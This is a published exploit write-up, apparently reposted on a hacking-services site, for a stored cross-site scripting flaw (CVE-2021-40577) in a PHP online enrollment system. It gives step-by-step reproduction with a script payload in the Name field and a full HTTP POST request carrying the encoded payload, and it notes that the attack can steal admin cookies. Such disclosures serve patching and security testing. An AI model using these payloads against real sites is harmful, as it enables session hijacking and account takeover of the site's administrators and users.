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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting
# Date: 2021-08-31
# Exploit Author: Tushar Jadhav
# Vendor Homepage:  https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Version: 1.0
# Tested on: Windows 11
# Contact: https://www.linkedin.com/in/tushar-jadhav-7a43b4171/
# CVE: CVE-2021-40577

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Stored Cross-site scripting(XSS):

Stored attacks are those where the injected script is permanently stored on
the target servers,
such as in a database, in a message forum, visitor log, comment field, etc.
The victim then retrieves the malicious script from the server when it
requests the stored information.
Stored XSS is also sometimes referred to as Persistent XSS.

==============================================================================================================================

Attack vector:

This vulnerability can result in the attacker can injecting the XSS payload
in the User Registration section. Each time the admin login or basic user
Login in the admin panel, the XSS triggers and attacker can able to steal
the cookie according to the crafted payload.

===============================================================================================================================

Vulnerable Parameters: Name

===============================================================================================================================

Steps for reproducing:

1. Go to add users section
2. fill in the details. & put <script>alert(document.cookie)</script>
payload in Name parameter.
3. Once we click on save, We can see the XSS has been triggered.

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Request :

POST /onlineenrolmentsystem/admin/user/controller.php?action=add HTTP/1.1
Host: 192.168.1.205:81
Content-Length: 133
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.205:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.1.205:81/onlineenrolmentsystem/admin/user/index.php?view=add
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=uonlna5pmhqh9shnj8t6oqc2g3
Connection: close

deptid=&U_NAME=%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E&deptid=&U_USERNAME=test&deptid=&U_PASS=root&U_ROLE=Registrar&save=

===================================================================================================================================